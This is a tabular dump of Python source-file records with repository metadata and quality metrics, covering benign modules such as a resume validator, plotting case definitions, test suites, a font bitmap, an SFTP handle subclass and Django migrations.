hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
a73131170f5bdfaf1161caf237d671d9dbf5663d | 253 | py | Python | jsonresume/__init__.py | kelvintaywl/jsonresume-validator | 73ac162cb30ca70699c942def629188f7dfd4d3c | [
"MIT"
] | 42 | 2016-06-03T18:17:24.000Z | 2021-12-09T04:13:14.000Z | jsonresume/__init__.py | kelvintaywl/jsonresume-validator | 73ac162cb30ca70699c942def629188f7dfd4d3c | [
"MIT"
] | 3 | 2016-04-27T12:32:41.000Z | 2020-09-29T16:43:35.000Z | jsonresume/__init__.py | kelvintaywl/jsonresume-validator | 73ac162cb30ca70699c942def629188f7dfd4d3c | [
"MIT"
] | 9 | 2016-05-08T15:31:53.000Z | 2021-04-28T09:17:47.000Z | # -*- coding: utf-8 -*-
"""
JSON Resume Validator
~~~~~~
JSON Resume Validator helps validate python dictionaries to
ensure they are valid representation of a JSON Resume.
"""
from jsonresume.resume import Resume
__all__ = ['Resume']
| 19.461538 | 63 | 0.675889 | 30 | 253 | 5.566667 | 0.733333 | 0.179641 | 0.227545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005025 | 0.213439 | 253 | 12 | 64 | 21.083333 | 0.834171 | 0.660079 | 0 | 0 | 0 | 0 | 0.096774 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
a739bd10614848db1a73028a77c6c885008e1463 | 63,679 | py | Python | postprocessing/pyplotgen/config/Case_definitions.py | larson-group/clubb_release | b4d671e3e238dbe00752c0dead6a0d4f9897350a | [
"Intel",
"Unlicense",
"NetCDF"
] | null | null | null | postprocessing/pyplotgen/config/Case_definitions.py | larson-group/clubb_release | b4d671e3e238dbe00752c0dead6a0d4f9897350a | [
"Intel",
"Unlicense",
"NetCDF"
] | null | null | null | postprocessing/pyplotgen/config/Case_definitions.py | larson-group/clubb_release | b4d671e3e238dbe00752c0dead6a0d4f9897350a | [
"Intel",
"Unlicense",
"NetCDF"
] | 1 | 2022-01-28T22:22:04.000Z | 2022-01-28T22:22:04.000Z | """
:author: Nicolas Strike
:date: Early 2019
This file is mostly a definition of Cases. Each case is defined in the following format
using python dictionaries (values surrounded with < > must have the < > removed to be valid).
.. code-block:: python
:linenos:
CASENAME = {'name': 'casename',
'descrip... | 55.181109 | 135 | 0.56254 | 6,984 | 63,679 | 4.701604 | 0.074599 | 0.098368 | 0.078694 | 0.06566 | 0.776495 | 0.753624 | 0.713485 | 0.650201 | 0.605981 | 0.574705 | 0 | 0.05372 | 0.317122 | 63,679 | 1,153 | 136 | 55.228968 | 0.701391 | 0.061527 | 0 | 0.541152 | 0 | 0.001029 | 0.376039 | 0.146891 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.012346 | 0 | 0.012346 | 0.001029 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
595f827df47c5f2bdd1ecfb6bc095d61ca198a03 | 538 | py | Python | dynaban/tests/postion.py | laukik-hase/imitation_of_human_arm_on_robotic_manipulator | 995beb1ab41597ca6cbecd0baecdef1ef13450f9 | [
"MIT"
] | 3 | 2021-11-13T16:54:31.000Z | 2021-11-13T20:50:18.000Z | dynaban/tests/postion.py | laukik-hase/human_arm_imitation | 995beb1ab41597ca6cbecd0baecdef1ef13450f9 | [
"MIT"
] | null | null | null | dynaban/tests/postion.py | laukik-hase/human_arm_imitation | 995beb1ab41597ca6cbecd0baecdef1ef13450f9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import arm_control_utils
DURATION = 30000
TRAJ_POLY1 = [1000, 100, 100]
TORQUE_POLY1 = [1000, 100, 100]
MODE = 3
arm_control_utils.initialize_motors()
arm_control_utils.enable_state_torque()
arm_control_utils.set_debug(1, ... | 28.315789 | 80 | 0.702602 | 74 | 538 | 4.702703 | 0.445946 | 0.229885 | 0.344828 | 0.155172 | 0.149425 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08 | 0.210037 | 538 | 19 | 81 | 28.315789 | 0.738824 | 0.037175 | 0 | 0 | 0 | 0 | 0.025097 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 0.076923 | 0.076923 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
595fa12df823f48a76595c65b488cfd3266708e8 | 5,758 | py | Python | google-datacatalog-connectors-commons/tests/google/datacatalog_connectors/commons/prepare/base_entry_factory_test.py | mesmacosta/datacatalog-connectors | 74a4b6272cb00f2831b669d1a41133913f3df3fa | [
"Apache-2.0"
] | 53 | 2020-04-27T21:50:47.000Z | 2022-02-18T22:08:49.000Z | google-datacatalog-connectors-commons/tests/google/datacatalog_connectors/commons/prepare/base_entry_factory_test.py | mesmacosta/datacatalog-connectors | 74a4b6272cb00f2831b669d1a41133913f3df3fa | [
"Apache-2.0"
] | 20 | 2020-05-26T13:51:45.000Z | 2022-01-25T00:06:19.000Z | google-datacatalog-connectors-commons/tests/google/datacatalog_connectors/commons/prepare/base_entry_factory_test.py | mesmacosta/datacatalog-connectors | 74a4b6272cb00f2831b669d1a41133913f3df3fa | [
"Apache-2.0"
] | 12 | 2020-04-30T22:14:02.000Z | 2021-10-09T03:44:39.000Z | #!/usr/bin/python
# coding=utf-8
#
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 42.029197 | 93 | 0.70719 | 620 | 5,758 | 6.058065 | 0.253226 | 0.059638 | 0.027689 | 0.037274 | 0.750532 | 0.727636 | 0.699947 | 0.682109 | 0.660277 | 0.633653 | 0 | 0.026955 | 0.213963 | 5,758 | 136 | 94 | 42.338235 | 0.802916 | 0.116881 | 0 | 0.51087 | 0 | 0 | 0.322804 | 0.302073 | 0 | 0 | 0 | 0 | 0.086957 | 1 | 0.086957 | false | 0 | 0.032609 | 0 | 0.152174 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5962222919ba8cf295722ccc3d990ff5fdab4dcc | 1,704 | py | Python | ota_xml_api/util/xml_base.py | mihira/opentravel-xml-api | 24d1ea4d24cf2575de474becaa665f6fc0d1971d | [
"MIT"
] | 3 | 2016-01-14T01:12:06.000Z | 2021-04-16T04:00:47.000Z | ota_xml_api/util/xml_base.py | mihira/opentravel-xml-api | 24d1ea4d24cf2575de474becaa665f6fc0d1971d | [
"MIT"
] | null | null | null | ota_xml_api/util/xml_base.py | mihira/opentravel-xml-api | 24d1ea4d24cf2575de474becaa665f6fc0d1971d | [
"MIT"
] | 2 | 2017-09-04T13:02:09.000Z | 2018-06-09T11:10:03.000Z | #!/usr/bin/env python
"""
This module contains the base xml Node and Period classes
"""
from xml.dom.minidom import getDOMImplementation
from date import Period
from constants import START, END
class XmlNode(object):
"""
the name of the class will define the name of the node by default.
classes inherit... | 27.483871 | 70 | 0.661385 | 215 | 1,704 | 5.004651 | 0.330233 | 0.051115 | 0.04461 | 0.022305 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.242958 | 1,704 | 61 | 71 | 27.934426 | 0.834109 | 0.117958 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.076923 | 0.051282 | 0.512821 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
5986324fbdcbaeae05e084715dcadf5d8b4991a3 | 1,199 | py | Python | app/stages/management/commands/import_stages_from_csv.py | guilloulouis/stage_medecine | 7ec9067402e510d812a375bbfe46f2ab545587f9 | [
"MIT"
] | null | null | null | app/stages/management/commands/import_stages_from_csv.py | guilloulouis/stage_medecine | 7ec9067402e510d812a375bbfe46f2ab545587f9 | [
"MIT"
] | null | null | null | app/stages/management/commands/import_stages_from_csv.py | guilloulouis/stage_medecine | 7ec9067402e510d812a375bbfe46f2ab545587f9 | [
"MIT"
] | 1 | 2021-04-30T16:38:19.000Z | 2021-04-30T16:38:19.000Z | # from django.core.management import BaseCommand
# import pandas as pd
#
# from stages.models import Category, Stage
#
#
# class Command(BaseCommand):
# help = 'Import a list of stage in the database'
#
# def add_arguments(self, parser):
# super(Command, self).add_arguments(parser)
# parser.add_... | 37.46875 | 113 | 0.584654 | 139 | 1,199 | 4.863309 | 0.482014 | 0.035503 | 0.06213 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003488 | 0.282736 | 1,199 | 31 | 114 | 38.677419 | 0.782558 | 0.947456 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
59a09df4f04358386749f3598f84da0352793936 | 189 | py | Python | venv/Lib/site-packages/shiboken2/_config.py | gabistoian/Hide-Text-in-image | 88b5ef0bd2bcb0e222cfbc7abf6ac2b869f72ec5 | [
"X11"
] | null | null | null | venv/Lib/site-packages/shiboken2/_config.py | gabistoian/Hide-Text-in-image | 88b5ef0bd2bcb0e222cfbc7abf6ac2b869f72ec5 | [
"X11"
] | null | null | null | venv/Lib/site-packages/shiboken2/_config.py | gabistoian/Hide-Text-in-image | 88b5ef0bd2bcb0e222cfbc7abf6ac2b869f72ec5 | [
"X11"
] | null | null | null | shiboken_library_soversion = str(5.15)
version = "5.15.2.1"
version_info = (5, 15, 2.1, "", "")
__build_date__ = '2022-01-07T13:13:47+00:00'
__setup_py_package_version__ = '5.15.2.1'
| 15.75 | 44 | 0.671958 | 34 | 189 | 3.294118 | 0.617647 | 0.107143 | 0.107143 | 0.133929 | 0.214286 | 0 | 0 | 0 | 0 | 0 | 0 | 0.219512 | 0.132275 | 189 | 11 | 45 | 17.181818 | 0.463415 | 0 | 0 | 0 | 0 | 0 | 0.216931 | 0.132275 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
59ac4ecc150b88338555999e74b36af7366e76c2 | 271 | py | Python | method/boardInfo.py | gary920209/LightDance-RPi | 41d3ef536f3874fd5dbe092f5c9be42f7204427d | [
"MIT"
] | 2 | 2020-11-14T17:13:55.000Z | 2020-11-14T17:42:39.000Z | method/boardInfo.py | gary920209/LightDance-RPi | 41d3ef536f3874fd5dbe092f5c9be42f7204427d | [
"MIT"
] | null | null | null | method/boardInfo.py | gary920209/LightDance-RPi | 41d3ef536f3874fd5dbe092f5c9be42f7204427d | [
"MIT"
] | null | null | null | import os
from .baseMethod import BaseMethod
# BoardInfo
class BoardInfo(BaseMethod):
def method(self, payload):
info = [
"boardInfo",
{"name": os.name, "type": "dancer", "OK": True, "msg": "Success"},
]
return info
| 19.357143 | 78 | 0.553506 | 27 | 271 | 5.555556 | 0.703704 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.306273 | 271 | 13 | 79 | 20.846154 | 0.797872 | 0.03321 | 0 | 0 | 0 | 0 | 0.134615 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.222222 | 0 | 0.555556 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
59afd173c9893de34534a54b0f3445d6fe88b945 | 7,189 | py | Python | fonts/Org_01.py | cnobile2012/Python-TFT | 812a87e6f694eae338c3d9579ea98eae636f8f99 | [
"MIT"
] | null | null | null | fonts/Org_01.py | cnobile2012/Python-TFT | 812a87e6f694eae338c3d9579ea98eae636f8f99 | [
"MIT"
] | null | null | null | fonts/Org_01.py | cnobile2012/Python-TFT | 812a87e6f694eae338c3d9579ea98eae636f8f99 | [
"MIT"
] | null | null | null | # Org_v01 by Orgdot (www.orgdot.com/aliasfonts). A tiny,
# stylized font with all characters within a 6 pixel height.
Org_01Bitmaps = [
0xE8, 0xA0, 0x57, 0xD5, 0xF5, 0x00, 0xFD, 0x3E, 0x5F, 0x80, 0x88, 0x88,
0x88, 0x80, 0xF4, 0xBF, 0x2E, 0x80, 0x80, 0x6A, 0x40, 0x95, 0x80, 0xAA,
0x80, 0x5D, 0x00, 0xC0, 0x... | 54.462121 | 75 | 0.335791 | 1,034 | 7,189 | 2.327853 | 0.281431 | 0.054009 | 0.05484 | 0.07312 | 0.176568 | 0 | 0 | 0 | 0 | 0 | 0 | 0.422303 | 0.461121 | 7,189 | 131 | 76 | 54.877863 | 0.199019 | 0.136876 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.178899 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
59c07712f78b8701ce24892262492a52ef344906 | 278 | py | Python | src/sftp/sftp_handle.py | IntercraftMC/intercraft-sftp | 6b8a4e0f94fa5708a10b0239059c7e61d39e4b0f | [
"MIT"
] | null | null | null | src/sftp/sftp_handle.py | IntercraftMC/intercraft-sftp | 6b8a4e0f94fa5708a10b0239059c7e61d39e4b0f | [
"MIT"
] | 2 | 2019-03-05T14:07:36.000Z | 2019-03-08T02:00:37.000Z | src/sftp/sftp_handle.py | IntercraftMC/intercraft-sftp | 6b8a4e0f94fa5708a10b0239059c7e61d39e4b0f | [
"MIT"
] | null | null | null | import os
import paramiko
class SftpHandle(paramiko.SFTPHandle):
def stat(self):
try:
return paramiko.SFTPAttributes.from_stat(os.fstat(self.readfile.fileno()))
except OSError as e:
return paramiko.SFTPServer.convert_errno(e.errno)
def chattr(self, attr):
pass
| 19.857143 | 77 | 0.758993 | 38 | 278 | 5.5 | 0.657895 | 0.133971 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136691 | 278 | 13 | 78 | 21.384615 | 0.870833 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0.1 | 0.2 | 0 | 0.7 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
59cb4b5a7e4e4de46f30f0ecb9a11b2447b40fad | 884 | py | Python | web/core/migrations/0089_auto_20201118_1234.py | MTES-MCT/biocarburants | ff084916e18cdbdc41400f36fa6cc76a5e05900e | [
"MIT"
] | 4 | 2020-03-22T18:13:12.000Z | 2021-01-25T10:33:31.000Z | web/core/migrations/0089_auto_20201118_1234.py | MTES-MCT/carbure | 2876756b760ab4866fa783bb40e61a046eebb1ab | [
"MIT"
] | 20 | 2020-07-06T14:33:14.000Z | 2022-03-15T16:54:17.000Z | web/core/migrations/0089_auto_20201118_1234.py | MTES-MCT/biocarburants | ff084916e18cdbdc41400f36fa6cc76a5e05900e | [
"MIT"
] | 4 | 2020-04-03T12:19:12.000Z | 2021-06-15T12:20:57.000Z | # Generated by Django 3.0.7 on 2020-11-18 11:34
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0088_matierepremiere_is_huile_vegetale'),
]
operations = [
migrations.AddField(
model_name='depot',
name='ad... | 28.516129 | 128 | 0.578054 | 88 | 884 | 5.625 | 0.568182 | 0.109091 | 0.139394 | 0.163636 | 0.363636 | 0.363636 | 0 | 0 | 0 | 0 | 0 | 0.041534 | 0.291855 | 884 | 30 | 129 | 29.466667 | 0.749201 | 0.050905 | 0 | 0.458333 | 1 | 0 | 0.149343 | 0.0454 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.041667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ab72dffbafe60c111d8d185e2a4e9e3c45bff202 | 3,763 | py | Python | utils/clustergen.py | lanhin/TripletRun | 06f73a6911fae2f9874bed8f9d68bf0d3fd5e973 | [
"MIT"
] | 15 | 2019-03-22T16:07:53.000Z | 2021-07-31T03:22:34.000Z | utils/clustergen.py | lanhin/TripletRun | 06f73a6911fae2f9874bed8f9d68bf0d3fd5e973 | [
"MIT"
] | null | null | null | utils/clustergen.py | lanhin/TripletRun | 06f73a6911fae2f9874bed8f9d68bf0d3fd5e973 | [
"MIT"
] | 2 | 2018-05-23T08:30:39.000Z | 2020-08-28T11:13:40.000Z | #/usr/bin/env python
'''
@2018-01 by lanhin
Generate cluster json file.
Usage: python2 clustergen.py
The output file name is cluster.json
'''
import getopt
import sys
import os
def jsonout(fileout, devices, edges, nodelinks):
with open(fileout, "wb") as result:
outItem = "{\n \"devices\":\n [\n"
... | 37.63 | 235 | 0.526707 | 524 | 3,763 | 3.782443 | 0.204198 | 0.024218 | 0.090817 | 0.086276 | 0.415237 | 0.279011 | 0.098385 | 0.098385 | 0.067608 | 0.067608 | 0 | 0.073476 | 0.193463 | 3,763 | 99 | 236 | 38.010101 | 0.579572 | 0.062184 | 0 | 0.16129 | 1 | 0 | 0.273263 | 0.121025 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.048387 | null | null | 0.048387 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
abbc16642f88ae7f1504bc4fde9ba1c81bcb930e | 19,773 | py | Python | packages/gtmapi/lmsrvlabbook/tests/test_environment_queries.py | gigabackup/gigantum-client | 70fe6b39b87b1c56351f2b4c551b6f1693813e4f | [
"MIT"
] | 60 | 2018-09-26T15:46:00.000Z | 2021-10-10T02:37:14.000Z | packages/gtmapi/lmsrvlabbook/tests/test_environment_queries.py | gigabackup/gigantum-client | 70fe6b39b87b1c56351f2b4c551b6f1693813e4f | [
"MIT"
] | 1,706 | 2018-09-26T16:11:22.000Z | 2021-08-20T13:37:59.000Z | packages/gtmapi/lmsrvlabbook/tests/test_environment_queries.py | griffinmilsap/gigantum-client | 70fe6b39b87b1c56351f2b4c551b6f1693813e4f | [
"MIT"
] | 11 | 2019-03-14T13:23:51.000Z | 2022-01-25T01:29:16.000Z | import pytest
import graphene
from gtmcore.inventory.inventory import InventoryManager
from gtmcore.fixtures import ENV_UNIT_TEST_REPO, ENV_UNIT_TEST_BASE, ENV_UNIT_TEST_REV
from gtmcore.environment import ComponentManager
from gtmcore.environment.bundledapp import BundledAppManager
import gtmcore
from lmsrvlabbook.t... | 39.546 | 111 | 0.427603 | 1,438 | 19,773 | 5.683588 | 0.140473 | 0.056528 | 0.068641 | 0.073412 | 0.761899 | 0.724826 | 0.69387 | 0.662058 | 0.638444 | 0.564786 | 0 | 0.018524 | 0.483993 | 19,773 | 499 | 112 | 39.625251 | 0.782515 | 0.040813 | 0 | 0.543529 | 0 | 0 | 0.657899 | 0.027944 | 0 | 0 | 0 | 0 | 0.065882 | 1 | 0.025882 | false | 0 | 0.018824 | 0 | 0.047059 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
abc3eecfb1dec304561dc28f93ae2435fd288309 | 379 | py | Python | automatization_of_data_mining_project/data_set_statistic_reporter/classes/statistic_generator/statistic_generator.py | Sale1996/automatization_of_data_mining_project | 223aec59231586563a3b125bff064f8420630a8f | [
"MIT"
] | null | null | null | automatization_of_data_mining_project/data_set_statistic_reporter/classes/statistic_generator/statistic_generator.py | Sale1996/automatization_of_data_mining_project | 223aec59231586563a3b125bff064f8420630a8f | [
"MIT"
] | null | null | null | automatization_of_data_mining_project/data_set_statistic_reporter/classes/statistic_generator/statistic_generator.py | Sale1996/automatization_of_data_mining_project | 223aec59231586563a3b125bff064f8420630a8f | [
"MIT"
] | null | null | null | from typing import List
class StatisticGenerator(object):
def __init__(self, column_names):
self.column_names = column_names
'''
Function which returns two arrays:
1. Statistic column names
2. Statistic column values for each column name
'''
def generate_statis... | 27.071429 | 69 | 0.643799 | 45 | 379 | 5.222222 | 0.644444 | 0.187234 | 0.12766 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007273 | 0.274406 | 379 | 14 | 70 | 27.071429 | 0.847273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.166667 | 0.166667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
abc616e2534ce71688707838c39b33ab9fe3a9aa | 869 | py | Python | yepes/contrib/standards/models.py | samuelmaudo/yepes | 1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb | [
"BSD-3-Clause"
] | null | null | null | yepes/contrib/standards/models.py | samuelmaudo/yepes | 1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb | [
"BSD-3-Clause"
] | null | null | null | yepes/contrib/standards/models.py | samuelmaudo/yepes | 1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb | [
"BSD-3-Clause"
] | null | null | null | # -*- coding:utf-8 -*-
from yepes.apps import apps
AbstractCountry = apps.get_class('standards.abstract_models', 'AbstractCountry')
AbstractCountrySubdivision = apps.get_class('standards.abstract_models', 'AbstractCountrySubdivision')
AbstractCurrency = apps.get_class('standards.abstract_models', 'AbstractCurrency')
